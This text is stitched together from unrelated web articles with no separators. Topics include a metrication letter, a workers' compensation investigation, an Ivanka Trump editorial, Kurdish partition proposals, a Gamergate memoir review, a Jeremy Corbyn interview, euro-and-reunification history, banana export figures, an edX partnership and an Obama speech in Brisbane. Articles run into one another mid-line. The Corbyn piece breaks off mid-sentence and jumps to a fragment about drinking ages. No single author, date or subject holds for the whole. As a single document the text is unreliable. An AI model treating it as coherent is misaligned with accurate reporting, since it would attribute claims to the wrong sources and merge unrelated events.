Concerning medication safety, what use is it to have metric-only appliances if the culture retains a built-in possibility of confusion between measurement systems over the reporting of an often-crucial dosing factor — namely, a patient’s weight?
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Finally, the movement for US metrication is not a matter of making “inroads,” but rather, a process of substitution. It seeks a centimeter-only ruler — i.e., a new standard of measurement, with the inch-pound standard discontinued entirely.
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What’s more, all future generations of Americans would enjoy a decimal measurement system instead of today’s eighths and quarters tyranny.
Paul R. Trusten
Midland, Texas
The writer is vice president and public relations director of the US Metric Association, and also a registered pharmacist.Workers' compensation is one of those topics that sounds really dry on the surface. But once you see how these laws — which determine how workers who are injured or killed on the job get compensated — affect the lives of everyday people, you can see that nothing is further from the truth.
A new investigation by ProPublica and NPR unpacks the dramatic ways that workers' comp laws are changing around the U.S. these days, as well as what effect these changes are having on working people. It finds plenty of evidence of people who would have been covered under the old laws but are left behind by the new system. One woman, who injured her back while trying to help a patient into a wheelchair, lives off of her son's Social Security payments. Another man, a disabled truck driver who struggles to afford his pain medication, reveals that he has lived off of just half a can of SpaghettiOs a day.
Texas has long allowed companies to opt out of the state's workers' compensation plan and offer their own benefit plans instead. Now, with the backing of big companies such as Wal-Mart, Nordstrom, Lowe's and Whole Foods, that policy is spreading to other states. Oklahoma recently adopted a similar law allowing its companies to create their own workers' comp plans, and Tennessee and South Carolina are considering similar measures. Plans like these now cover nearly 1.5 million workers in Texas and Oklahoma.
Those in favor of allowing companies to adopt their own plans say the practice will lower costs, get employees back to work faster, and improve workplace safety. They say that workers' compensation has created a huge and costly bureaucracy and fostered an adversarial relationship between injured workers and their employers. Their opponents, however, say that the changes will prevent injured workers from getting help and shift the cost of care to federal programs like Social Security, Medicare and Medicaid.
To analyze what kind of effect these rule changes are having, ProPublica and NPR took a detailed look into the kinds of injury benefit plans that have replaced traditional workers' comp for nearly 120 companies that opted out of the state plans in Texas and Oklahoma -- the first independent analysis of what impact these new plans might be having on workers.
The new plans "almost universally have lower benefits, more restrictions and virtually no independent oversight," write Michael Grabell of ProPublica and Howard Berkes of NPR.
The graphic below, by Lena Groeger and Michael Grabell of ProPublica, shows that average workers' compensation benefits for a person who loses the use of a hand, foot, arm, leg or eye across the United States are indeed significantly higher than those awarded in Texas (you can click on the graphic to enlarge it):
"Price Check: How Companies Value Body Parts." Lena Groeger and Michael Grabell, ProPublica, Oct. 14, 2015
The investigation also reveals how many loopholes and oversights the Texas corporate plans contain. Whether intentionally or not, the plans are written to exclude a lot of injured workers who would have been compensated under the state plan.
For example, they found that McDonald's doesn't cover carpal tunnel syndrome. Brookdale Senior Living, which runs a chain of assisted-living facilities, doesn't cover bacterial infections among its employees. Costco doesn't cover exposure to asbestos or mold. Costco also won’t cover external hearing aids costing more than $600 – even though the cheapest external hearing aid Costco sells is $900, Grabell and Berkes say.
One of the most substantial changes is that almost all of these plans require employees to report an injury within a brief time window -- usually, before the end of their shift, or within 24 hours -- or forgo any compensation for that injury altogether. Under the old workers' compensation rules, an employee would have 30 days to report an injury. In addition, Texas plans cut off medical treatment after about two years, compared with lifetime medical care under traditional workers' compensation. The plans place strict limitations on payouts for deaths and catastrophic injuries, and don't pay compensation for many permanent disabilities, Grabell and Berkes found.
In Texas at least, the new rules allow workers to sue their employers for negligence, a potentially huge payout that proponents of the changes say will help create better working environments. But Grabell and Berkes also find that companies are finding ways to avoid these lawsuits, including having employees sign waivers and using more arbitration agreements.
Employers also have much more control over how an injured worker is treated -- what doctor they can go to, for example -- and how a claim is legally settled. Employers can decide to terminate benefits if employees are late to doctors’ appointments or if they consult their personal doctors about their injury. Unlike under traditional workers' compensation, employees can also be fired in retaliation for a claim.
Many of these companies refused to discuss their programs in detail. A representative from Tyson Foods told ProPublica that the company opted out of the state's workers' compensation plan in Texas to give its employees the best possible medical care and have more control over which doctors workers can see.
The graphics that Groeger and Grabell put together show that individual company plans in Texas are all over the map in terms of their coverage. Some of the best plans are from Home Depot and W. Silver, a steel company, which offer maximum benefits that are higher than the U.S. average:
"Price Check: How Companies Value Body Parts." Lena Groeger and Michael Grabell, ProPublica, Oct. 14, 2015
However, most of the companies profiled do significantly worse than the U.S. national average. Some of the worst offenders look like Macy's and J.B. Hunt, whose maximum benefits are significantly lower:
And here's how some other big companies rank, including Costco, Domino's, Lowe's and more:
"Price Check: How Companies Value Body Parts." Lena Groeger and Michael Grabell, ProPublica, Oct. 14, 2015
To see how more companies compare, you can visit the graphic here, or read Grabell and Berkes's story here.
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The true cost of an arm and a leg
Most states have slashed benefits for those injured on the job
The workers’ compensation system is broken — and it’s driving people into povertyIvanka Trump speaks as President Trump, left, listens during a meeting with small business owners in the Roosevelt Room of the White House in Washington.
Put aside concerns about ethics and nepotism for a moment and consider this: Ivanka Trump’s newly formalized, unpaid White House job means another person with no government experience is officially advising a president with no government experience.
With the title “assistant to the president,” the first daughter becomes the first child in modern political history to become the employee of a White House headed by her father. With that distinction comes a West Wing office, security clearance, and skepticism about the value of the counsel she can give to President Trump, given her lack of government experience.
According to a memo issued in January by the Department of Justice, nepotism is not a problem. While a public official is forbidden from appointing a relative “to a civilian position in the agency... over which (the official) exercises jurisdiction or control,” the DOJ memo concluded that the president’s special hiring authority exempts positions in the White House from that section of the law. That reasoning cleared the way for Jared Kushner — Ivanka Trump’s husband — to take on a growing list of unpaid advising roles for his father-in-law, the president. Now, Ivanka Trump is officially part of Donald Trump’s circle of neophyte advisors.
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The DOJ memo does note that conflict-of-interest laws apply to White House employees. In a letter to the US Department of Government Ethics, Senators Elizabeth Warren of Massachusetts and Tom Carper of Delaware demanded to know more. Some of those details came out in a Friday-night document dump that revealed that Ivanka Trump and Jared Kushner remain beneficiaries of a $741 million business empire, and that Ivanka is keeping her stake in the Trump International Hotel in Washington, according to The New York Times.
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Those revelations may mean that Ivanka Trump must do some tricky political maneuvering to seem authentic in her push for affordable child care. It’s also a stunning reminder that the line between government business and Trump family business remains murky. President Trump, who still refuses to release his tax returns, put his sons, Donald Jr. and Eric, in charge of the Trump empire. Supposedly, they aren’t talking business with their father, even as they expand the Trump brand to his long-term financial benefit. According to The New York Times, Ivanka Trump transferred her brand’s assets into a trust overseen by a brother-in-law and sister-in-law, and a lawyer will review all new deals. But just like her father’s brand, Ivanka Trump’s brand is also enhanced by a job that places her at the president’s side and brings her into meetings with heads of state.
She has her father’s trust. But she has a lot to prove to the rest of the country when it comes to the quality of her ethics, influence, and advice.
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EDITORIAL172Once ISIS is defeated, Iraq should be divided into three separate entities to prevent further sectarian bloodshed, with a state each given to Shi'ites, Sunnis and Kurds, a top Kurdish official said on Thursday.
Iraqi troops have expelled ISIS from some key cities the militants seized in 2014, and are advancing on Mosul, the largest city under IS control. Its fall would likely mean the end of the group's self-proclaimed caliphate.
But even if ISIS was eliminated, Iraq would still be deeply divided. Sectarian violence has continued for years and a power-sharing agreement in Baghdad has only led to discontent, deadlock and corruption.
Masrour Barzani, head of the Kurdistan Regional Government’s (KRG) Security Council and son of KRG President Massoud Barzani, said the level of mistrust was such that they should not remain "under one roof".
"Federation hasn't worked, so it has to be either confederation or full separation," Barzani told Reuters in an interview on Wednesday in the Kurdish capital Erbil. "If we have three confederated states, we will have equal three capitals, so one is not above the other."
The Kurds have already taken steps towards realizing their long-held dream of independence from Iraq, which has been led by the Shi'ite majority since the overthrow of Saddam Hussein, a Sunni, in 2003, following a US-led invasion.
They run their own affairs in the north and have their own armed forces, the Peshmerga, which have been fighting ISIS militants with help from a US-led coalition. Sunnis should be given the option of doing the same in the provinces where they are in the majority in the north and the west of Iraq, said Barzani.
"What we are offering is a solution," he said. "This doesn't mean they live under one roof but they can be good neighbors. Once they feel comfortable that they have a bright and secure future, they can start cooperating with each other."
His father has called for a referendum on Kurdish independence this year as the region is locked in territorial and financial disputes with the central government.
Baghdad has cut off payments from the federal budget to the KRG to try to force the Kurds to sell crude produced on their territory through the state oil marketing company and not independently. The Kurds also claim the oil region of Kirkuk, in northern Iraq, as part of their territory.
Barzani said that the Sunnis' feeling of marginalization by the Shi'ite leadership had facilitated the takeover of their regions by ISIS militants.
In addition, Iraq endured months of wrangling and chaos over a government reshuffle that was to curb corruption. In May, frustration over the delays culminated in the unprecedented breach by protesters of the Green Zone, which houses parliament, government offices and many foreign embassies.
Ahead of the battle for Mosul, Barzani said the city's different communities should agree in advance on how to handle the aftermath. Mosul's pre-war population of 2 million was mostly Sunni, but included religious and ethnic minorities including Christians, Shi'ites, Yazidis, Kurds and Turkmen.
"I think the most important part is how you manage Mosul after Da’esh is defeated," he said, referring to an Arabic name of ISIS. "We don't want to see the gap of liberation and then a vacuum, which probably will turn into chaos."
Iraqi Prime Minister Haider al-Abadi at the end of last year expressed hope that 2016 would be the year of "final victory" over ISIS with the capture of Mosul.
Last Update: Thursday, 16 June 2016 KSA 14:20 - GMT 11:20By Molly Sauter
Crash Override: How Gamergate (Nearly) Destroyed My Life and How We Can Win the Fight Against Online Hate
By Zöe Quinn
PublicAffairs
256 pp; $24
In her new memoir, Crash Override: How Gamergate (Nearly) Destroyed My Life and How We Can Win the Fight Against Online Hate, independent game designer and user advocate Zöe Quinn tells a visceral personal narrative of the more malicious and maladapted social zones of the internet. Quinn is perhaps best known to those outside the indie-game scene as “Patient Zero” for GamerGate, which began in the fall of 2014. The saga is long, convoluted, vaguely pathetic – and ably retold in Quinn’s memoir – so perhaps I can be forgiven for not rehashing it here in full not-safe-for-work detail. For our purposes, it will suffice to say that GamerGate was a semi-organized harassment campaign spread through social media, wherein individuals – mostly young white men – targeted game developers, critics and bystanders who were primarily not. It was sometimes merely irritating, but other times blatantly violent. The GamerGaters’ frequent refrain was “It’s really about ethics in games journalism.” Sure, and the 2003 invasion of Iraq was really about WMDs.
Quinn details GamerGate in detail from her perspective, giving a picture of the social web both as a place where a weird, queer, socially isolated kid from the sticks could make a home and start a career – and where that same person could suddenly have their life turned upside down by a gleeful, hateful and disturbingly persistent mob.
As a memoir, Crash Override succeeds in conveying what it is like to be the target of a sustained, misogynistic harassment campaign. Quinn’s experiences with the social media companies that provided a platform to her harassers, and the law enforcement officials who should have been in a position to protect her, are depressingly familiar to anyone who’s observed how these august institutions routinely treat women who have been victimized by men.
. PublicAffairs
But in her zeal to to define her own story of harassment, Quinn stumbles when it comes to concrete analysis or policy recommendations. An exhortation that tech companies and policy makers listen to victims is derailed when Quinn complains that academics studying GamerGate should talk to her directly instead of doing their own research. Further discussions of how social media companies handle harassments complaints are inevitably interrupted by stories of how Quinn non-specifically rescued a client who was facing harassment on X, Y, or Z platform. It would have been helpful to learn what the anti-harassment policies are at the major social media companies – how they ended up that way, and how they can be incented to change – but that analysis is not seriously undertaken in Crash Override.
This is particularly disappointing as Quinn’s current enterprise, the Crash Override Network (for which the book is named), is sold in these pages as an organization uniquely qualified to help both victims and social networks manage harassment and abuse. The question of what those qualifications are, precisely, is left frustratingly vague. Sometimes it seems that Quinn’s primary weapon in her quest to defend victims of harassment and abuse is being Zöe Quinn. This in itself highlights a persistent problem in the online social space: though the internet is (even at this late stage) touted as a great leveller, the ability to communicate meaningfully with companies such as Google, Twitter or Facebook still depends on raising a sufficient racket. The validity of a grievance seems to matter less than connections and ability to influence your way into someone’s line of sight.
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This remains true even as the major social networks make a show of hiring staff to process reports of abuse and harassment. It’s been clear for some time that addressing the user harassment – and honest-to-god Nazis that are endemic to modern social media – just isn’t a priority for companies like Facebook and Twitter. As long as the metrics that matter for stock valuations are user growth, ad clicks and the elusively defined “engagement,” it is simply not in the financial interest of platforms to spend time and money banning users for threatening to decapitate female game designers, or calling for the genocidal establishment of a white ethnostate, or whatever new awful thing the internet discovers you can do to people next week.
We know these networks, if properly incented, can muster truly astonishing powers of machine learning, user management and content removal. In 2016, Twitter implemented a ban on all images of the Rio Olympics out of deference to the International Olympic Committee’s copyright, and permanently banned at least one user for posting a gif of American gymnast Aly Raisman. Twitter also routinely geo-locks religious and political content at the behest of the Turkish government, meaning those tweets to which the Erdogan regime objects are not visible from within the country. Facebook, meanwhile, has repeatedly suspended users for posting content related to Black Lives Matter; and Instagram deletes pictures of women breastfeeding as “violating community standards.”
If Twitter and Facebook truly wanted to deal with their infestations of misogynists and Nazis, they would. But like so many powerful incumbents with profitable but problematic products and stars, they just don’t want to. Until they are induced to manage the spaces they’ve created, either through governmental regulation or a shift in the values of the market, women and minorities will be left behind – warning each other of the worst actors, and swapping horror stories and self-defence strategies among ourselves, just as Zöe Quinn has.Media playback is unsupported on your device Media caption Jeremy Corbyn: 'There's a thirst for change out there'
Jeremy Corbyn has vowed to give more say over policy-making to grass-roots Labour supporters to help build a "more equal and decent society".
The Labour leader told the BBC the way decisions were taken in the party after his re-election had to be opened up.
He also sought to build bridges with MPs critical of him by saying the "vast majority" have no fear of being barred from standing at the next election.
It came as one union leader told MPs to stop "knifing" their leader.
Unite boss Len McCluskey said he believed "only a rump of right wingers" would continue to oppose Mr Corbyn following his re-election and he should be allowed to lead without having "to pluck knives out of his back."
Speaking to the Andrew Marr Show, Mr Corbyn acknowledged there were "differences of opinion" between him and many of his MPs on policy but said there was also a "great deal of unanimity".
'Thirst for change'
He said Labour's growing party membership - which has swelled to more than half a million since the general election - now held greater sway and Labour MPs would be expected to fall into line with its support for a tough message on anti-austerity and public ownership.
But he played down talk that MPs judged to be out of step with the direction of the party could be deselected in the run-up to next general election.
MPs have warned of a purge linked to proposed changes to constituency boundaries in 2020 and Mayor of London Sadiq Khan has warned that, if this happened, it could lead to a split in the party similar to the one in the early 1980s.
Mr Corbyn said the relationship between an MP and their constituency was "complex" but added: "Let's have a |
, but the purchasing age of alcoholic beverages is. If traveling on the American side, the legal drinking/purchasing age of alcoholic beverages is 21.
There are small dark personal rooms and on occasion shared dorms. Both of these are fully catered.
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This article is an outline and needs more content. It has a template, but there is not enough information present. Please plunge forward and help it grow!The architect of Germany's reunification is furious. Current Finance Minister Wolfgang Schäuble, the interior minister under the then-Chancellor Helmut Kohl, has deep furrows on his brow as he fires off a series of expressions of his immense dissatisfaction. They are harsh words, but ones the chief negotiator of his country's reunification treaty does not want to see in print.
Schäuble holds a thick book in his hand. On its cover, Schäuble's predecessor as finance minister -- Peer Steinbrück of the center-left Social Democratic Party (SPD) -- looks resolutely into the distance. Not that Schäuble, a member of the governing center-right Christian Democratic Union (CDU), has anything personally against Steinbrück. Schäuble recently listened to a speech Steinbrück gave about democracy and the media. Nor does Schäuble disagree much with Steinbrück's theories on the financial crisis.
What Schäuble is annoyed about is an unassuming sentence in the second chapter of Steinbrück's book, hidden in a long treatise about the "lame duck" that is Europe. "Abandoning the deutsche mark for the (equally) stable euro was one of the concessions that helped pave the way to German reunification," Steinbrück wrote.
There aren't very many political statements that can rile the long-serving Schäuble. But claiming German unity was achieved by way of a swap against the deutsche mark is clearly one of them. "No such trade-off ever occurred," Schäuble insists. The question of European monetary union had played "at best a minor role" in the decision-making on German reunification.
Steinbrück, however, is convinced he is right. He says that for anyone who meets with French government representatives, this theory will be backed up dozens of times.
Twenty years have passed since the collective euphoria of 1990, when the two halves of the divided Germany were brought back together again. For 20 years now, Germans have explored every aspect of what it was that led to the miracle of reunification: The bravery of the East German civil rights movement, the collapse of the Soviet Union, the determination of West German Chancellor Helmut Kohl.
However, for most Germans the very notion that the relinquishment of their beloved deutsche mark may have had an influence on the reunification of the communist East with the capitalist West is a remote one -- not least because of the timeframe. The first euro notes and coins first came into circulation in early 2002, more than a decade after Germany's reunification.
A Debate That Runs Along the Franco-German Border
Nevertheless, the politicians of the time have for years been locked in a bitter dispute over the question of whether or not the two most important political and economic mergers of the last two decades were indeed linked. And it is no coincidence that the front line in the debate often runs along the Franco-German border.
Hubert Védrine, who served as an adviser to then-French President Francois Mitterrand, for example, is convinced that his boss would not have consented to any expansion of Germany without German concessions on monetary union. "Mitterrand did not want reunification without advances toward greater European integration," Védrine says. "And the currency was the only topic that was open to debate."
Védrine's German counterpart, Joachim Bitterlich, who was the liaison with Paris at Kohl's Chancellery in Bonn at the time, denies any suggestion that the two countries' heads of state struck a deal. "European monetary union would have taken place even without German reunification," Bitterlich says.
At issue is more than just a dispute between politicians and ministerial officials. It is about how history will judge the central governmental projects of the last few decades. After all, if the French are right, it would do more than cast a shadow over Germany's day of national celebration.
A 'Sickly Premature Baby'
It would also damage the euro, which had been taking a beating in Germany even before the European Union was forced to bail out Greece and other ailing euro-zone countries. Critics like former SPD Chancellor Gerhard Schröder have always suggested that the single European currency was a "sickly premature baby." Now they can even claim that Germany was basically forced into accepting the euro.
Historians like the British euro chronicler David Marsh have long known that important decisions on reunification and monetary union were interwoven in those fateful fall days of 1989.
Previously classified documents from the archive of the German Foreign Ministry, which SPIEGEL has obtained, now show that the connection was far closer than previously known. The papers reveal that a broad Western European alliance threatened to oppose reunification, and that the long-standing Franco-German relationship was at breaking point. At the time, Mitterrand bluntly warned the German government that it could find itself as isolated in Europe "as in 1913," in other words, the period leading up to the World War I, when imperial Germany found itself up against an alliance between England, France and Russia.
The documents also show that history might have taken a very different course had Bonn and Paris not settled their differences in those dramatic days with regard both to the international negotiations about German reunification and those relating to monetary union.
After all, up until the precipitous events of late 1989, the debate over a single European currency had progressed at the usual tempo for any undertaking of what was then the European Economic Community (EEC); that is, slowly and ploddingly, as matters had so often been since the end of World War II. European statesman had repeatedly tried to promote the idea of a common currency ever since the days of Konrad Adenauer and Charles de Gaulle, West Germany's first chancellor and France's first postwar president respectively. Never had these ideas got off the ground. Time and again such attempts faltered because of the clash of interests between the high-inflation southern member states -- Spain, Portugal, Greece and Italy -- on the one hand, and the so-called hard-currency belt centered on Germany and the Netherlands on the other.Bill Maher thinks there’s only one way for Hillary Clinton to become president:
Embrace her inner super villain.
Maher said on Friday’s “Real Time With Bill Maher” that Clinton should own the GOP’s “evil cartoon” portrayal of her, explaining:
“Since half the country will believe an evil cartoon version of Hillary Clinton, no matter what she says or does, she has to embrace it.”
The host went on to say that Clinton’s “sweet grandma Hillary” image was fine for 2008, but that the rise of Donald Trump to the Republican nominee means that America doesn’t want a “steady as she goes” candidate.
He lays out the scenario facing Clinton:
“They are pitch fork angry and they don’t want America’s nicest grandma. They want the wolf with bits of grandma in its teeth.”
Maher continued by saying that the country wants “a ruthless mafia boss who will protect their frightened souls,” explaining:
“Hillary has to own all the nasty things the haters say and run as the Notorious H.R.C.”
Maher’s segment comes after Clinton’s speech at the DNC on Thursday, during which the former Secretary of State described herself as practical and detail-oriented.COLLEGE PARK, Md. – Maryland men's head basketball coach Mark Turgeon announced Sunday that junior forward Ivan Bender has a torn meniscus in his right knee and will miss the remainder of 2017-2018 season.
Bender suffered the injury in the second half of Maryland's 66-45 victory over UMBC on December 29, and is scheduled to have surgery later this week.
“Ivan has been playing some of his best basketball over the past month,” said Turgeon. “He has developed into a strong contributor for our team and we are going to miss his leadership and presence on the court. We are confident that he will make a full recovery.”
Bender played in all 15 games with a career-high seven starts this season. He was averaging 3.4 points, 2.9 rebounds and 1.4 assists and per game for the Terps.
-Terps-Dianne Feinstein Receives Three Times More Cash From Intelligence Contractors Than Patrick Leahy
from the funny-how-that-works dept
Dept. of Defense Intelligence Services Contractors Contributions to Senator *Feinstein Contributions to Senator Leahy General Dynamics $43,750 $13,300 Northrop Grumman $29,800 $6,000 Lockheed Martin $10,000 $11,000 Honeywell International $10,000 $5,000 **L-3 Communications $6,500 --- AECOM $7,000 --- $107,050 $35,300 *Not included in the chart is a $250 contribution to Senator Feinstein from Johns Hopkins University, #19 on the USASpending list **Totals for L-3 Communications Corporations, L-3 National Securities Solutions Inc. and L-3 Communications Holding Inc. were combined for this analysis.
While there are many bills that have been introduced in Congress in response to the revelations about the NSA (thank you, Ed Snowden), there really are only two that matter right now in terms of actually having a chance of moving forward. One is good, one is terrible. There is the USA FREEDOM Act, introduced in the Senate by Senator Patrick Leahy, which actually tries to rein in many of the abuses. It's not perfect, but it's a very good bill. Then there's the fake reform bill, introduced by Senator Dianne Feinstein, officially dubbed the FISA Improvements Act, but which is really designed to legalize the NSA's abuses and open the door to making it even worse It's no secret that Feinstein is the abused spouse of the NSA, always defending her man, no matter how many times it lies and cheats on her, so I doubt it's much of a surprise to find that those who stand to benefit from a strong NSA have been contributing boatloads to Senator Feinstein.The good folks over at MapLight, thought it might be interesting to see how Feinstein's contributions from intelligence contractors compared to those received by USA FREEDOM Act sponsor Pat Leahy. The answer will not surprise you. Feinstein received three times as much money as Leahy since 2007 (basically a single Senatorial term).Now, you could easily make the argument that these companies support the politicians most who already support them (i.e., the cause and effect are reversed). But, as Larry Lessig has pointed out time and time again, these kinds of situations are a form of soft corruption that clearly raise significant questions in the mind of the public aboutpoliticians are supporting what they support. Is it because it's good policy -- or is it because of the money. This level of soft corruption has real consequences beyond just policy -- it destroys the trust and credibility of the government.
Filed Under: campaigns, contributions, dianne feinstein, fisa improvements act, lobbyists, nsa, nsa reform, pat leahy, usa freedom actThe long-distance friendship between Susie Hewer and David Babcock is held together by colored yarn and a world record few people knew existed.
Their achievement is more of an oddity than a record, in the traditional sporting sense anyway — longest scarf knitted while running a marathon — but the people from Guinness had thought it interesting enough to give Hewer a place in their book of such things. Hewer set the original world record at the 2008 London Marathon, producing a multicolored scarf 5 feet 2 inches long as she ran, and extended the mark (literally) at this year’s race with another one that measured 6-9.
On Oct. 19, she surrendered her crown to Babcock, who smashed the record when he stepped across the finish line at the Kansas City Marathon with a blue, purple, red and orange scarf that was 12 feet 1 ¾ inches long.
Few were happier for him than Hewer, who awoke the next day in her home in Ewhurst Green, England, raced to her computer to confirm the news and fired off a joyous email that began, “Well done.” She followed it up with an 812-word entry on her blog, Extreme Knitting Redhead.Countries
Below are the 15 countries that exported the highest dollar value worth of bananas during 2017: Ecuador: US$3 billion (24.6% of total banana exports) Belgium: $1.1 billion (8.5%) Costa Rica: $1 billion (8.4%) Colombia: $918.1 million (7.4%) Guatemala: $882.3 million (7.1%) Philippines: $687.4 million (5.6%) Netherlands: $579.9 million (4.7%) United States: $445 million (3.6%) Dominican Republic: $393.3 million (3.2%) Côte d’Ivoire: $350.1 million (2.8%) Germany: $319.5 million (2.6%) Cameroon: $317.8 million (2.6%) Honduras: $311.1 million (2.5%) Panama: $294.7 million (2.4%) Mexico: $241.7 million (2%) The listed 15 countries shipped 88% of all banana exports in 2017 (by value).
Among the above countries, the fastest-growing bananas exporters since 2013 were: Panama (up 861.6%), Cameroon (up 280.8%), Dominican Republic (up 134.2%), Côte d’Ivoire (up 131.5%) and the Netherlands (up 108.4%).
Five countries posted declines in their exported bananas sales: the Philippines (down -28.7%), Belgium (down -25.9%), Germany (down -7.1%), Honduras (down -6.5%) and the United States (down -2.9%).
For the complete listing, see the section Searchable List of Bananas Exporting Countries below.
Advantages
The following countries posted the highest positive net exports for bananas during 2017. Investopedia defines net exports as the value of a country’s total exports minus the value of its total imports. Thus, the statistics below present the surplus between the value of each country’s banana exports and its import purchases for that same commodity. Ecuador: US$3 billion (net export surplus up 30.7% since 2013) Costa Rica: $1 billion (up 33.7%) Colombia: $916.5 million (up 20.3%) Guatemala: $880.3 million (up 35.3%) Philippines: $687.3 million (down -28.7%) Dominican Republic: $393.3 million (up 134.4%) Côte d’Ivoire: $350.1 million (up 131.5%) Cameroon: $317.8 million (up 280.8%) Honduras: $309.4 million (down -5.9%) Panama: $293.8 million (up 858.9%) Mexico: $241.1 million (up 49.7%) Peru: $149.4 million (up 67.8%) Ghana: $73.5 million (up 5694.5%) Nicaragua: $69.9 million (up 229.2%) Bolivia: $50.6 million (up 67.7%) Ecuador has the highest surplus in the international trade of bananas. In turn, this positive cashflow confirms Ecuador’s strong competitive advantage for this specific product category.
Opportunities
The following countries posted the highest negative net exports for bananas during 2017. Investopedia defines net exports as the value of a country’s total exports minus the value of its total imports. Thus, the statistics below present the deficit between the value of each country’s banana import purchases and its exports for that same commodity. United States: -US$2.3 billion (net export deficit up 11.7% since 2013) Russia: -$1.1 billion (up 14.2%) Japan: -$850.8 million (up 4.2%) United Kingdom: -$776.1 million (down -3.2%) Germany: -$696.2 million (down -11.3%) China: -$563 million (up 71.7%) Italy: -$469.5 million (down -0.7%) Canada: -$421.7 million (up 2.7%) France: -$415.7 million (up 22%) South Korea: -$365.1 million (up 44.2%) Belgium: -$343.3 million (up 95%) Saudi Arabia: -$256.6 million (up 30%) Netherlands: -$252.2 million (up 557.2%) Poland: -$251.3 million (up 7.7%) Argentina: -$240 million (up 23.3%) The United States incurred the highest deficit in the international trade of bananas. In turn, this negative cashflow highlights America’s strong competitive disadvantage for this specific product category but also signals opportunities for banana-supplying countries that help satisfy the robust demand from American consumers.
One possible strategy is to introduce innovative ways to store or extend the shelf lives of such perishable goods.
CompaniesA new method has been developed for detecting cancer with blood tests, and with the help of infrared light beans. Researchers at the Faculty of Health Sciences, Ben-Gurion University in Israel, take a small amount of blood and insert it into a device in which a spectrum of infrared light is beamed through the blood, enabling them to estimate whether the patient has cancer or not. The initial trial was successful in detecting cancer in almost 90 percent of cancer patients tested. Doctors say it is imperative to increase early detection of cancer in patients, before it gets to advanced stages that must be treated with a long and difficult treatment. The main purpose of this research is to develop an efficient, cheap and simple method to detect as many types of cancers as possible.WITS NEWS: Wits becomes first African partner of leading online course provider
The University of the Witwatersrand, Johannesburg (Wits) today announced its partnership with edX, the nonprofit online learning destination founded by MIT and Harvard to offer massive open online courses (MOOCs) to a global learning audience. The collaboration is the first of its kind between a major international MOOC provider and an African University.
The total number of students pursuing higher education in Africa tripled between 1991 and 2006, however public investment in education has remained the same[1]. This increase in demand, along with the growing value of university degrees on the continent, means that the current high levels of educational expansion may still not be enough[2]. The edX and Wits partnership will help bridge this gap by delivering education opportunities to students on the continent and beyond.
The edX community throughout Africa, which is already more than 200,000 learners strong, will now have access to courses from a top university on the continent.
“This is a pioneering, innovative project spearheaded by Wits, which will indeed unlock new opportunities in South Africa and through the rest of the continent. This is in line with the University’s commitment to being locally responsive and internationally competitive,” says Prof. Adam Habib, Vice-Chancellor and Principal of Wits University. “We are still developing the course content but students from around the world will be able to access our international expertise in a variety of fields ranging from economics and law to deep level mining and the palaeosciences.”
Wits courses (WitsX) will be open for enrollment on edx.org towards the end of 2015. A special edX certificate is issued when a course (or module) has been successfully completed.
“We are pleased to welcome the University of Witwatersrand to our global community of educators and learners,” says Anant Agarwal, CEO of edX. “As a premier research institution and our first university partner in Africa, we look forward to collaborating to increase access to high quality education for all, and especially for learners in South Africa and throughout the continent who are eager for new educational opportunities and to develop new skills.”
Wits joins the more than 60 global universities, colleges and institutions that make up edX’s distinguished academic body, which offer online courses to anyone, anywhere in the world with a desire to learn.[Video] Obama: Asian Dynamism versus Asian Disputes
By MarEx 2014-11-16 14:33:00
U.S President Barack Obama celebrated mutual goals and warned of conflict in Asia over lonely outcrops in the South China Sea when he spoke at Brisbane’s University of Queensland in Australia on Saturday prior to the G20 meeting:
Australia really is everything that you would want in a friend and in an ally. We’re cut from the same cloth – immigrants from an old world who built a new nation.
We’re inspired by the same ideals of equality and opportunity – the belief everybody deserves a fair go, a fair shot.
And we share that same spirit – that confidence and optimism – that the future is ours to make; that we don’t have to carry with us all the baggage from the past, that we can leave this world a better, safer, more just place for future generations.
And that’s what brings me here today – the future that we can build together, here in the Asia Pacific region.
Now, this week, I’ve travelled more than 15,000 miles – from America to China to Burma to Australia. I have no idea what time it is right now. I’m completely upside down.
But despite that distance, we know that our world is getting smaller. One of Australia’s great writers spoke of this – a son of Brisbane and a graduate of this university, David Malouf.
And he said, “In that shrinking of distance that is characteristic of our contemporary world, even the Pacific, largest of oceans, has become a lake.”
And you see it here on this campus, where you welcome students from all across Asia and around the world, including a number of Americans. You go on exchanges, and we’re proud to welcome so many of you to the United States. You walk the streets of this city and you hear Chinese, Vietnamese, Bahasa Indonesia, Korean, Hindi. And in many neighbourhoods more than half the people you meet were born somewhere else. This is a global city in a globalised world.
And I often tell young people in America that, even with today’s challenges, this is the best time in history to be alive.
Never in the history of humanity have people lived longer, are they more likely to be healthy, more likely to be enjoying basic security.
The world is actually much less violent today. And that’s true here in the Asia Pacific as well. Countries once ravaged by war, like South Korea and Japan, are among the world’s most advanced economies.
From the Philippines to Indonesia, dictatorships have given way to genuine democracies. In China and across the region, hundreds of millions of people have been lifted from poverty in the span of one generation, joining a global middle class.
Empowered by technology, you – the young people in particular of this region – are connecting and collaborating across borders and cultures like never before as you seek to build a new future. So the opportunities today are limitless. When you look at the facts, opportunities are limitless for this generation. You’re living in an extraordinary time.
But what is also true, is that alongside this dynamism, there are genuine dangers that can undermine progress.
And we can’t look at those problems through rose-tinted glasses. North Korea’s nuclear and missile programs – that’s a problem.
Disputes over territory, remote islands and rocky shoals that threaten to spiral into confrontation.
The failure to uphold universal human rights, denying justice to citizens and denying countries their full potential. Economic inequality and extreme poverty that are a recipe for instability.
And energy demands in growing cities that also hasten trends towards a changing climate. Indeed, the same technologies that empower citizens like you also give oppressive regimes new tools to stifle dissent.
So the question that we face is, which of these futures will define the Asia Pacific in the century to come? Do we move towards further integration, more justice, more peace? Or do we move towards disorder and conflict? Those are our choices – conflict or cooperation. Oppression or liberty.
Here in Australia three years ago, in your parliament, I made it clear where the United States stands.
We believe that nations and peoples have the right to live in security and peace; that an effective security order for Asia must be based – not on spheres of influence, or coercion, or intimidation where big nations bully the small – but on alliances of mutual security, international law and international norms that are upheld, and the peaceful resolution of disputes.
We believe in open markets and trade that is fair and free – a level playing field where economies play by the same rules; where the purpose of trade is not simply to extract resources from the ground, but to build true partnerships that raise capacity and living standards in poor countries; where small business owners and entrepreneurs and innovators have the freedom to dream and create and flourish; and how well a country does is based on how well they empower their individual citizens.
And we believe in democracy – that the only real source of legitimacy is the consent of the people; that every individual is born equal with fundamental rights, inalienable rights, and that it is the responsibility of governments to uphold these rights. This is what we stand for. That is our vision – the future America is working toward in the Asia Pacific, with allies and friends.
